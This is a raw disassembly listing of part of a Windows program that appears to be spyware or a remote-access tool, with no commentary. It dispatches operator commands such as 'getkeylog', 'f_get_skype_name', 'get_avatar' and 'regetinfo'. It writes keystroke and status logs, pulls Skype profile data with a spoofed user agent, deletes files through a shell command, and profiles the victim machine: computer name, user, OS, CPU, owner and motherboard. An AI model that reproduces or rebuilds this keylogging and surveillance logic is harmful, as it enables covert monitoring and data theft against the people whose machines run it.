mov ecx, esp
mov dword [esp + 0x4c], esp
push 0x467af4
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x6e
mov ecx, esp
mov dword [esp + 0x70], esp
push str._:_stat_traffic.txt
call fcn.0042b4b0
mov byte [esp + 0x3ec4], 0x6f
mov edx, dword [0x468dcc]
push edx
lea eax, [esp + 0x19d0]
push eax
call fcn.004027f0
mov ebp, eax
mov ecx, dword [esp + 0x7c]
mov byte [esp + 0x3ecc], 0x70
mov edx, dword [ecx + 0x44c]
push edx
lea eax, [esp + 0xaf8]
push eax
call fcn.004027f0
push eax
mov edi, 0x45bc24
lea esi, [esp + 0x12e0]
mov byte [esp + 0x3ed8], 0x71
call fcn.0042f240
sub esp, 8
mov byte [esp + 0x3ee0], 0x72
mov edi, esp
mov dword [esp + 0x94], esp
push ebp
push eax
call fcn.0042f780
add esp, 8
lea edi, [esp + 0xad0]
mov byte [esp + 0x3ee0], 0x75
call fcn.004107a0
add esp, 0x70
mov ecx, edi
call fcn.0042b520
mov ecx, esi
call fcn.0042b520
lea ecx, [esp + 0xa98]
call fcn.0042b520
lea ecx, [esp + 0x1978]
mov byte [esp + 0x3e70], 4
call fcn.0042b520
mov ebp, dword [esp + 0x20]
mov ecx, str.debug_resetk
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x422ca0
call fcn.0041e2b0
mov ecx, str.getkeylog
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x422d46
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str._:_pref_log.dat
call fcn.0042b4b0
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x76
mov ecx, esp
mov dword [esp + 0x4c], esp
push 0x467b10
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x77
mov ecx, esp
mov dword [esp + 0x70], esp
push 0x467af4
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0x78
mov edx, dword [0x468dec]
mov ecx, esp
mov dword [esp + 0x94], esp
push edx
call fcn.0042b4b0
lea eax, [esp + 0xb40]
push eax
mov byte [esp + 0x3ee4], 4
call fcn.00410910
add esp, 0x74
lea ecx, [esp + 0xad0]
call fcn.0042b520
mov ecx, str.f_get_skype_name
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x422e86
mov edi, dword [esp + 0x20]
add edi, 0x414
push 0x45b404
mov ecx, edi
call fcn.0042bff0
lea ecx, [esp + 0x1cc0]
push ecx
call fcn.004165b0
add esp, 4
mov bl, 0x79
mov esi, 0x45b3f8
lea ecx, [esp + 0x1cc0]
mov byte [esp + 0x3e70], bl
call fcn.0042f130
test al, al
je 0x422db5
lea edx, [esp + 0x1cc0]
push edx
mov eax, str.Skype_not_found
call fcn.0042bcc0
lea eax, [esp + 0x1cc0]
push eax
lea esi, [esp + 0x12b4]
call fcn.00402ae0
add esp, 4
push 0xffffffffffffffff
push 0
push eax
mov ecx, edi
mov byte [esp + 0x3e7c], 0x7a
call fcn.0042bf10
mov ecx, esi
mov byte [esp + 0x3e70], bl
call fcn.0042b520
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x467b10
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x7b
mov ecx, esp
mov dword [esp + 0x4c], esp
push 0x467af4
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x7c
mov ecx, esp
mov dword [esp + 0x70], esp
push str.divsig_skype.txt
call fcn.0042b4b0
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0x7d
mov ecx, esp
mov dword [esp + 0x94], esp
push edi
call fcn.0042b4f0
lea edi, [esp + 0xb78]
mov byte [esp + 0x3ee0], bl
call fcn.004107a0
add esp, 0x70
mov ecx, edi
call fcn.0042b520
lea ecx, [esp + 0x1cc0]
mov byte [esp + 0x3e70], 4
call fcn.0042bc90
mov ebp, dword [esp + 0x20]
mov ecx, str.get_avatar
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x42314d
push 0x45c640
call fcn.0043755c
add esp, 4
push eax
lea ecx, [esp + 0x16a4]
call fcn.0042b4b0
push eax
mov edi, str._avatar.jpg
lea esi, [esp + 0x1c38]
mov byte [esp + 0x3e74], 0x7e
call fcn.0042f240
add esp, 4
lea ecx, [esp + 0x16a0]
mov byte [esp + 0x3e70], 0x80
call fcn.0042b520
lea ecx, [esp + 0x1cf8]
push ecx
call fcn.004165b0
add esp, 4
push 0x45b404
lea ecx, [esp + 0x1ce0]
mov byte [esp + 0x3e74], 0x81
call fcn.0042b4b0
mov esi, 0x45b3f8
lea ecx, [esp + 0x1cf8]
mov byte [esp + 0x3e70], 0x82
call fcn.0042f160
test al, al
je 0x423121
lea edx, [esp + 0x1cf8]
push edx
lea esi, [esp + 0xb44]
call fcn.00402ae0
add esp, 4
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esp + 0x1ce8]
mov byte [esp + 0x3e7c], 0x83
call fcn.0042bf10
mov ecx, esi
mov byte [esp + 0x3e70], 0x82
call fcn.0042b520
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str.Mozilla_5.0__Windows_NT_5.1__rv:32.0__Hive_3.0.7.3__Gecko_20100101_Firefox_32.0
call fcn.0042b4b0
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x84
lea eax, [esp + 0x1c6c]
mov ecx, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.0042b4f0
lea ecx, [esp + 0x1d14]
push ecx
mov ecx, str.http:__api.skype.com_users_
lea edi, [esp + 0x1324]
mov byte [esp + 0x3eac], 0x85
call fcn.0042f190
sub esp, 0x18
mov byte [esp + 0x3ec4], 0x86
mov esi, esp
mov dword [esp + 0x70], esp
push eax
mov edi, str._profile_avatar
call fcn.0042f240
add esp, 4
mov byte [esp + 0x3ec4], 0x87
call fcn.0040c5f0
add esp, 0x54
lea ecx, [esp + 0x12e8]
mov byte [esp + 0x3e70], 0x82
call fcn.0042b520
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str._:_avatar.jpg
call fcn.0042b4b0
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x88
mov ecx, esp
mov dword [esp + 0x4c], esp
push 0x467b10
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x89
mov ecx, esp
mov dword [esp + 0x70], esp
push 0x467af4
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0x8a
lea edx, [esp + 0x1ca4]
mov ecx, esp
mov dword [esp + 0x94], esp
push edx
call fcn.0042b4f0
lea eax, [esp + 0xbe8]
push eax
mov byte [esp + 0x3ee4], 0x82
call fcn.00410910
add esp, 0x74
lea ecx, [esp + 0xb78]
call fcn.0042b520
lea ecx, [esp + 0x1c34]
push ecx
mov ecx, str._C_del__
lea edi, [esp + 0xbb4]
call fcn.0042f190
add esp, 4
push eax
mov edi, 0x45bc28
lea esi, [esp + 0x189c]
mov byte [esp + 0x3e74], 0x8b
call fcn.0042f240
add esp, 4
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esp + 0x1c40]
mov byte [esp + 0x3e7c], 0x8c
call fcn.0042bf10
mov ecx, esi
call fcn.0042b520
lea ecx, [esp + 0xbb0]
call fcn.0042b520
push 0
push 0x45b404
lea ecx, [esp + 0x1c3c]
call fcn.0042c500
push eax
push 0x45cff0
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp + 0x1cdc]
call fcn.0042b520
lea ecx, [esp + 0x1cf8]
call fcn.0042bc90
lea ecx, [esp + 0x1c34]
mov byte [esp + 0x3e70], 4
call fcn.0042b520
mov ecx, 0x45cff8
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x4231e7
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x467b10
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x8d
mov ecx, esp
mov dword [esp + 0x4c], esp
push 0x467af4
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x8e
mov ecx, esp
mov dword [esp + 0x70], esp
push str.divsig_ver.txt
call fcn.0042b4b0
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0x8f
mov ecx, esp
mov dword [esp + 0x94], esp
push ebp
call fcn.0042b4f0
lea edi, [esp + 0x1390]
mov byte [esp + 0x3ee0], 4
call fcn.004107a0
add esp, 0x70
mov ecx, edi
call fcn.0042b520
mov ecx, str.debug_keystat
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x423545
mov ebp, dword [esp + 0x20]
add ebp, 0x414
push 0x45b404
mov ecx, ebp
call fcn.0042bff0
mov edx, dword [0x468dd8]
push edx
lea eax, [esp + 0x16dc]
push eax
call fcn.004027f0
push eax
mov edi, 0x45b520
lea esi, [esp + 0xbf4]
mov byte [esp + 0x3e7c], 0x90
call fcn.0042f240
add esp, 0xc
push 0
push eax
or eax, 0xffffffff
mov esi, ebp
mov byte [esp + 0x3e78], 0x91
call fcn.0042d1c0
lea ecx, [esp + 0xbe8]
call fcn.0042b520
lea ecx, [esp + 0x16d8]
mov byte [esp + 0x3e70], 4
call fcn.0042b520
mov ecx, dword [0x468dc4]
push ecx
lea edx, [esp + 0x135c]
push edx
call fcn.004027f0
push eax
lea esi, [esp + 0xc2c]
mov byte [esp + 0x3e7c], 0x92
call fcn.0042f240
add esp, 0xc
push 0
push eax
or eax, 0xffffffff
mov esi, ebp
mov byte [esp + 0x3e78], 0x93
call fcn.0042d1c0
lea ecx, [esp + 0xc20]
call fcn.0042b520
lea ecx, [esp + 0x1358]
mov byte [esp + 0x3e70], 4
call fcn.0042b520
mov eax, dword [0x468de4]
push eax
lea ecx, [esp + 0x1a5c]
push ecx
call fcn.004027f0
push eax
lea esi, [esp + 0xc64]
mov byte [esp + 0x3e7c], 0x94
call fcn.0042f240
add esp, 0xc
push 0
push eax
or eax, 0xffffffff
mov esi, ebp
mov byte [esp + 0x3e78], 0x95
call fcn.0042d1c0
lea ecx, [esp + 0xc58]
call fcn.0042b520
lea ecx, [esp + 0x1a58]
mov byte [esp + 0x3e70], 4
call fcn.0042b520
mov edx, dword [0x468df0]
push edx
lea eax, [esp + 0xc94]
push eax
call fcn.004027f0
push eax
lea esi, [esp + 0x83c]
mov byte [esp + 0x3e7c], 0x96
call fcn.0042f240
add esp, 0xc
push 0
push eax
or eax, 0xffffffff
mov esi, ebp
mov byte [esp + 0x3e78], 0x97
call fcn.0042d1c0
lea ecx, [esp + 0x830]
call fcn.0042b520
lea ecx, [esp + 0xc90]
mov byte [esp + 0x3e70], 4
call fcn.0042b520
mov ecx, dword [0x468d84]
push ecx
lea edx, [esp + 0xccc]
push edx
call fcn.004027f0
push eax
lea esi, [esp + 0x139c]
mov byte [esp + 0x3e7c], 0x98
call fcn.0042f240
add esp, 0xc
push 0
push eax
or eax, 0xffffffff
mov esi, ebp
mov byte [esp + 0x3e78], 0x99
call fcn.0042d1c0
lea ecx, [esp + 0x1390]
call fcn.0042b520
lea ecx, [esp + 0xcc8]
mov byte [esp + 0x3e70], 4
call fcn.0042b520
mov eax, dword [0x468dbc]
push eax
lea ecx, [esp + 0xd04]
push ecx
call fcn.004027f0
push eax
lea esi, [esp + 0x171c]
mov byte [esp + 0x3e7c], 0x9a
call fcn.0042f240
add esp, 0xc
push 0
push eax
or eax, 0xffffffff
mov esi, ebp
mov byte [esp + 0x3e78], 0x9b
call fcn.0042d1c0
lea ecx, [esp + 0x1710]
call fcn.0042b520
lea ecx, [esp + 0xd00]
mov byte [esp + 0x3e70], 4
call fcn.0042b520
mov edx, dword [0x468df4]
push edx
lea eax, [esp + 0xd3c]
push eax
call fcn.004027f0
push eax
lea esi, [esp + 0x13d4]
mov byte [esp + 0x3e7c], 0x9c
call fcn.0042f240
add esp, 0xc
push 0
push eax
or eax, 0xffffffff
mov esi, ebp
mov byte [esp + 0x3e78], 0x9d
call fcn.0042d1c0
lea ecx, [esp + 0x13c8]
call fcn.0042b520
lea ecx, [esp + 0xd38]
mov byte [esp + 0x3e70], 4
call fcn.0042b520
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x467b10
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x9e
mov ecx, esp
mov dword [esp + 0x4c], esp
push 0x467af4
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x9f
mov ecx, esp
mov dword [esp + 0x70], esp
push str.debug_keystat.txt
call fcn.0042b4b0
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0xa0
mov ecx, esp
mov dword [esp + 0x94], esp
push ebp
call fcn.0042b4f0
lea edi, [esp + 0x1940]
mov byte [esp + 0x3ee0], 4
call fcn.004107a0
add esp, 0x70
mov ecx, edi
call fcn.0042b520
mov ebp, dword [esp + 0x20]
mov ecx, str.msgbox
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x423578
sub esp, 0x1c
lea edx, [esp + 0x1b00]
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
call fcn.0042b4f0
call fcn.004027b0
add esp, 0x1c
mov ecx, str.temp
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x423620
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x467b10
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0xa1
mov ecx, esp
mov dword [esp + 0x4c], esp
push 0x467af4
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0xa2
mov ecx, esp
mov dword [esp + 0x70], esp
push str.divsig_atempdir.txt
call fcn.0042b4b0
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0xa3
lea eax, [ebp + 0x430]
mov esi, esp
mov dword [esp + 0x94], esp
push eax
mov edi, 0x45bb08
call fcn.0042f240
add esp, 4
lea edi, [esp + 0xde0]
mov byte [esp + 0x3ee0], 4
call fcn.004107a0
add esp, 0x70
mov ecx, edi
call fcn.0042b520
mov ecx, str.regetinfo
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x4252e6
push 0x45b404
lea ecx, [esp + 0x1b20]
call fcn.0042b4b0
mov bl, 0xa4
push str.COMPUTERNAME
mov byte [esp + 0x3e74], bl
call fcn.0043755c
add esp, 4
push eax
lea ecx, [esp + 0x174c]
call fcn.0042b4b0
push eax
mov ecx, str.pcname___
lea edi, [esp + 0xdac]
mov byte [esp + 0x3e74], 0xa5
call fcn.0042f190
add esp, 4
push eax
mov edi, 0x45b520
lea esi, [esp + 0x1404]
mov byte [esp + 0x3e74], 0xa6
call fcn.0042f240
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0xa7
call fcn.0042d1c0
lea ecx, [esp + 0x1400]
call fcn.0042b520
lea ecx, [esp + 0xda8]
call fcn.0042b520
lea ecx, [esp + 0x1748]
mov byte [esp + 0x3e70], bl
call fcn.0042b520
mov ecx, esi
push ecx
mov edx, str.platform__Win32NT_r_n
call fcn.0042b560
push 0x114
lea edx, [esp + 0x1d50]
push 0
push edx
call fcn.00438230
add esp, 0xc
lea eax, [esp + 0x1d4c]
push eax
mov dword [esp + 0x1d50], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [esp + 0x1d60]
lea ecx, [esp + 0xf30]
call fcn.0042bc20
push eax
lea esi, [esp + 0x190c]
mov byte [esp + 0x3e74], 0xa8
call fcn.00402ae0
add esp, 4
mov ebp, eax
mov byte [esp + 0x3e70], 0xa9
mov ecx, dword [esp + 0x1d58]
push ecx
lea edx, [esp + 0xefc]
push edx
call fcn.004027f0
mov dword [esp + 0x2c], eax
mov byte [esp + 0x3e78], 0xaa
mov eax, dword [esp + 0x1d5c]
push eax
lea ecx, [esp + 0x14b4]
push ecx
call fcn.004027f0
mov dword [esp + 0x3c], eax
mov byte [esp + 0x3e80], 0xab
mov edx, dword [esp + 0x1d60]
push edx
lea eax, [esp + 0xed4]
push eax
call fcn.004027f0
push eax
mov ecx, str.osver____
lea edi, [esp + 0x179c]
mov byte [esp + 0x3e8c], 0xac
call fcn.0042f190
add esp, 0x1c
push eax
mov edi, 0x45b990
lea esi, [esp + 0xe8c]
mov byte [esp + 0x3e74], 0xad
call fcn.0042f240
add esp, 4
mov byte [esp + 0x3e70], 0xae
mov ecx, dword [esp + 0x2c]
push ecx
push eax
lea edi, [esp + 0x1478]
call fcn.0042f780
push eax
mov edi, 0x45b990
lea esi, [esp + 0xe5c]
mov byte [esp + 0x3e7c], 0xaf
call fcn.0042f240
add esp, 0xc
mov byte [esp + 0x3e70], 0xb0
mov edx, dword [esp + 0x24]
push edx
push eax
lea edi, [esp + 0x19b8]
call fcn.0042f780
push eax
mov edi, 0x45b6c8
lea esi, [esp + 0xe24]
mov byte [esp + 0x3e7c], 0xb1
call fcn.0042f240
add esp, 0xc
push ebp
push eax
lea edi, [esp + 0x1440]
mov byte [esp + 0x3e78], 0xb2
call fcn.0042f780
push eax
mov edi, 0x45b520
lea esi, [esp + 0xdec]
mov byte [esp + 0x3e7c], 0xb3
call fcn.0042f240
add esp, 0xc
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0xb4
call fcn.0042d1c0
lea ecx, [esp + 0xde0]
call fcn.0042b520
lea ecx, [esp + 0x1438]
call fcn.0042b520
lea ecx, [esp + 0xe18]
call fcn.0042b520
lea ecx, [esp + 0x19b0]
call fcn.0042b520
lea ecx, [esp + 0xe50]
call fcn.0042b520
lea ecx, [esp + 0x1470]
call fcn.0042b520
lea ecx, [esp + 0xe88]
call fcn.0042b520
lea ecx, [esp + 0x1780]
call fcn.0042b520
lea ecx, [esp + 0xec0]
call fcn.0042b520
lea ecx, [esp + 0x14a8]
call fcn.0042b520
lea ecx, [esp + 0xef8]
call fcn.0042b520
lea ecx, [esp + 0x1908]
call fcn.0042b520
lea ecx, [esp + 0xf30]
mov byte [esp + 0x3e70], bl
call fcn.0042bc90
push 0
push 0
push 0
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateDCW]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov esi, eax
push 8
push esi
call edi
push 0xa
push esi
mov dword [esp + 0x2c], eax
call edi
fild dword [esp + 0x24]
fld qword [0x468da0]
mov dword [esp + 0x2c], eax
fmul st(1), st(0)
fxch st(1)
call fcn.00450600
fimul dword [esp + 0x2c]
mov esi, eax
call fcn.00450600
push eax
lea eax, [esp + 0xfdc]
push eax
call fcn.004027f0
mov ebp, eax
lea ecx, [esp + 0x1520]
push esi
push ecx
mov byte [esp + 0x3e80], 0xb5
call fcn.004027f0
push eax
mov ecx, str.resolut_
lea edi, [esp + 0xfb4]
mov byte [esp + 0x3e84], 0xb6
call fcn.0042f190
add esp, 0x14
push eax
mov edi, 0x45bb40
lea esi, [esp + 0x17bc]
mov byte [esp + 0x3e74], 0xb7
call fcn.0042f240
add esp, 4
push ebp
push eax
lea edi, [esp + 0xf70]
mov byte [esp + 0x3e78], 0xb8
call fcn.0042f780
push eax
mov edi, 0x45b520
lea esi, [esp + 0x14ec]
mov byte [esp + 0x3e7c], 0xb9
call fcn.0042f240
add esp, 0xc
push 0
push eax
mov byte [esp + 0x3e78], 0xba
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
call fcn.0042d1c0
lea ecx, [esp + 0x14e0]
call fcn.0042b520
lea ecx, [esp + 0xf68]
call fcn.0042b520
lea ecx, [esp + 0x17b8]
call fcn.0042b520
lea ecx, [esp + 0xfa0]
call fcn.0042b520
lea ecx, [esp + 0x1518]
call fcn.0042b520
lea ecx, [esp + 0xfd8]
mov byte [esp + 0x3e70], bl
call fcn.0042b520
lea edi, [esp + 0x1550]
call fcn.00409e20
push eax
mov ecx, str.username_
lea edi, [esp + 0x1014]
mov byte [esp + 0x3e74], 0xbb
call fcn.0042f190
add esp, 4
push eax
mov edi, 0x45b520
lea esi, [esp + 0x1a24]
mov byte [esp + 0x3e74], 0xbc
call fcn.0042f240
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0xbd
call fcn.0042d1c0
lea ecx, [esp + 0x1a20]
call fcn.0042b520
lea ecx, [esp + 0x1010]
call fcn.0042b520
lea ecx, [esp + 0x1550]
mov byte [esp + 0x3e70], bl
call fcn.0042b520
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str.Version
mov ebp, edi
call fcn.0042b4b0
push ecx
mov byte [esp + 0x3e90], 0xbe
mov ebx, esp
mov dword [esp + 0x34], esp
push str.Win32_OperatingSystem
call fcn.00408280
mov bl, 0xa4
lea ecx, [esp + 0x15a8]
mov byte [esp + 0x3e90], bl
call fcn.00409310
push eax
lea esi, [esp + 0x10a4]
mov byte [esp + 0x3e94], 0xbf
call fcn.00402ae0
add esp, 0x24
push eax
mov ecx, str.osver2___
lea edi, [esp + 0x17f4]
mov byte [esp + 0x3e74], 0xc0
call fcn.0042f190
add esp, 4
push eax
mov edi, ebp
lea esi, [esp + 0x104c]
mov byte [esp + 0x3e74], 0xc1
call fcn.0042f240
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0xc2
call fcn.0042d1c0
lea ecx, [esp + 0x1048]
call fcn.0042b520
lea ecx, [esp + 0x17f0]
call fcn.0042b520
lea ecx, [esp + 0x1080]
call fcn.0042b520
lea ecx, [esp + 0x1588]
mov byte [esp + 0x3e70], bl
call fcn.0042bc90
lea edi, [esp + 0x15c0]
call fcn.00409e20
mov ebp, eax
push str.COMPUTERNAME
mov byte [esp + 0x3e74], 0xc3
call fcn.0043755c
add esp, 4
push eax
lea ecx, [esp + 0x86c]
call fcn.0042b4b0
push eax
mov ecx, str.fulluser_
lea edi, [esp + 0x850]
mov byte [esp + 0x3e74], 0xc4
call fcn.0042f190
add esp, 4
push eax
mov edi, 0x45bb08
lea esi, [esp + 0x10f4]
mov byte [esp + 0x3e74], 0xc5
call fcn.0042f240
add esp, 4
push ebp
push eax
lea edi, [esp + 0x1948]
mov byte [esp + 0x3e78], 0xc6
call fcn.0042f780
push eax
mov edi, 0x45b520
lea esi, [esp + 0x10c4]
mov byte [esp + 0x3e7c], 0xc7
call fcn.0042f240
add esp, 0xc
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0xc8
call fcn.0042d1c0
lea ecx, [esp + 0x10b8]
call fcn.0042b520
lea ecx, [esp + 0x1940]
call fcn.0042b520
lea ecx, [esp + 0x10f0]
call fcn.0042b520
lea ecx, [esp + 0x84c]
call fcn.0042b520
lea ecx, [esp + 0x868]
call fcn.0042b520
lea ecx, [esp + 0x15c0]
mov byte [esp + 0x3e70], bl
call fcn.0042b520
push reloc.OLEAUT32.dll_SysReAllocString
sub esp, 0x1c
mov eax, str.RegisteredOrganization
mov ecx, esp
mov ebp, edi
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0xc9
mov eax, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
lea ecx, [esp + 0x8c0]
mov byte [esp + 0x3eac], bl
call fcn.0041dfe0
add esp, 0x3c
push eax
lea esi, [esp + 0x1164]
mov byte [esp + 0x3e74], 0xca
call fcn.00402ae0
add esp, 4
push eax
mov ecx, str.OrgName__
lea edi, [esp + 0x182c]
mov byte [esp + 0x3e74], 0xcb
call fcn.0042f190
add esp, 4
push eax
mov edi, ebp
lea esi, [esp + 0x112c]
mov byte [esp + 0x3e74], 0xcc
call fcn.0042f240
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0xcd
call fcn.0042d1c0
lea ecx, [esp + 0x1128]
call fcn.0042b520
lea ecx, [esp + 0x1828]
call fcn.0042b520
lea ecx, [esp + 0x1160]
call fcn.0042b520
lea ecx, [esp + 0x884]
mov byte [esp + 0x3e70], bl
call fcn.0042bc90
push reloc.OLEAUT32.dll_SysReAllocString
sub esp, 0x1c
mov eax, str.ProcessorNameString
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0xce
mov eax, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
lea ecx, [esp + 0x930]
mov byte [esp + 0x3eac], bl
call fcn.0041dfe0
add esp, 0x3c
push eax
lea esi, [esp + 0x8c0]
mov byte [esp + 0x3e74], 0xcf
call fcn.00402ae0
add esp, 4
push eax
mov ecx, str.CPUName__
lea edi, [esp + 0x119c]
mov byte [esp + 0x3e74], 0xd0
call fcn.0042f190
add esp, 4
mov byte [esp + 0x3e70], 0xd1
push eax
mov edi, ebp
lea esi, [esp + 0x8a4]
call fcn.0042f240
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0xd2
call fcn.0042d1c0
lea ecx, [esp + 0x8a0]
call fcn.0042b520
lea ecx, [esp + 0x1198]
call fcn.0042b520
lea ecx, [esp + 0x8bc]
call fcn.0042b520
lea ecx, [esp + 0x8f4]
mov byte [esp + 0x3e70], bl
call fcn.0042bc90
push reloc.OLEAUT32.dll_SysReAllocString
sub esp, 0x1c
mov eax, str.RegisteredOwner
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3eac], 0xd3
mov eax, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.0042bc20
lea ecx, [esp + 0xa10]
mov byte [esp + 0x3eac], bl
call fcn.0041dfe0
add esp, 0x3c
push eax
lea esi, [esp + 0x9a0]
mov byte [esp + 0x3e74], 0xd4
call fcn.00402ae0
add esp, 4
push eax
mov ecx, str.Owner____
lea edi, [esp + 0x968]
mov byte [esp + 0x3e74], 0xd5
call fcn.0042f190
add esp, 4
push eax
mov edi, ebp
lea esi, [esp + 0x930]
mov byte [esp + 0x3e74], 0xd6
call fcn.0042f240
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0xd7
call fcn.0042d1c0
lea ecx, [esp + 0x92c]
call fcn.0042b520
lea ecx, [esp + 0x964]
call fcn.0042b520
lea ecx, [esp + 0x99c]
call fcn.0042b520
lea ecx, [esp + 0x9d4]
mov byte [esp + 0x3e70], bl
call fcn.0042bc90
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str.Manufacturer
call fcn.0042b4b0
push ecx
mov byte [esp + 0x3e90], 0xd8
mov ebx, esp
mov dword [esp + 0x34], esp
push str.Win32_BaseBoard
call fcn.00408280
mov bl, 0xa4
lea ecx, [esp + 0xad4]
mov byte [esp + 0x3e90], bl
call fcn.00409310
push eax
lea esi, [esp + 0xaa0]
mov byte [esp + 0x3e94], 0xd9
call fcn.00402ae0
add esp, 0x24
push eax
mov ecx, str.MBVendor_
lea edi, [esp + 0xa48]
mov byte [esp + 0x3e74], 0xda
call fcn.0042f190
add esp, 4
push eax
mov edi, ebp
lea esi, [esp + 0xa10]
mov byte [esp + 0x3e74], 0xdb
call fcn.0042f240
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0xdc
call fcn.0042d1c0
lea ecx, [esp + 0xa0c]
call fcn.0042b520
lea ecx, [esp + 0xa44]
call fcn.0042b520
lea ecx, [esp + 0xa7c]
call fcn.0042b520
lea ecx, [esp + 0xab4]
mov byte [esp + 0x3e70], bl
call fcn.0042bc90
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str.Product
call fcn.0042b4b0
push ecx
mov byte [esp + 0x3e90], 0xdd
mov ebx, esp
mov dword [esp + 0x34], esp
push str.Win32_BaseBoard
call fcn.00408280
mov bl, 0xa4
lea ecx, [esp + 0xbb4]
mov byte [esp + 0x3e90], bl
call fcn.00409310
push eax
lea esi, [esp + 0xb80]
mov byte [esp + 0x3e94], 0xde
call fcn.00402ae0
add esp, 0x24
push eax
mov ecx, str.MBModel__
lea edi, [esp + 0xb28]
mov byte [esp + 0x3e74], 0xdf
call fcn.0042f190
add esp, 4
push eax
mov edi, ebp
lea esi, [esp + 0xaf0]
mov byte [esp + 0x3e74], 0xe0
call fcn.0042f240
add esp, 4
mov byte [esp + 0x3e70], 0xe1
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
call fcn.0042d1c0
lea ecx, [esp + 0xaec]
call fcn.0042b520
lea ecx, [esp + 0xb24]
call fcn.0042b520
lea ecx, [esp + 0xb5c]
call fcn.0042b520
lea ecx, [esp + 0xb94]
mov byte [esp + 0x3e70], bl
call fcn.0042bc90
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str.Model
call fcn.0042b4b0
push ecx
mov byte [esp + 0x3e90], 0xe2
mov ebx, esp
mov dword [esp + 0x34], esp
push str.Win32_ComputerSystem
call fcn.00408280
mov bl, 0xa4
lea ecx, [esp + 0xc94]
mov byte [esp + 0x3e90], bl
call fcn.00409310
push eax
lea esi, [esp + 0xc60]
mov byte [esp + 0x3e94], 0xe3
call fcn.00402ae0
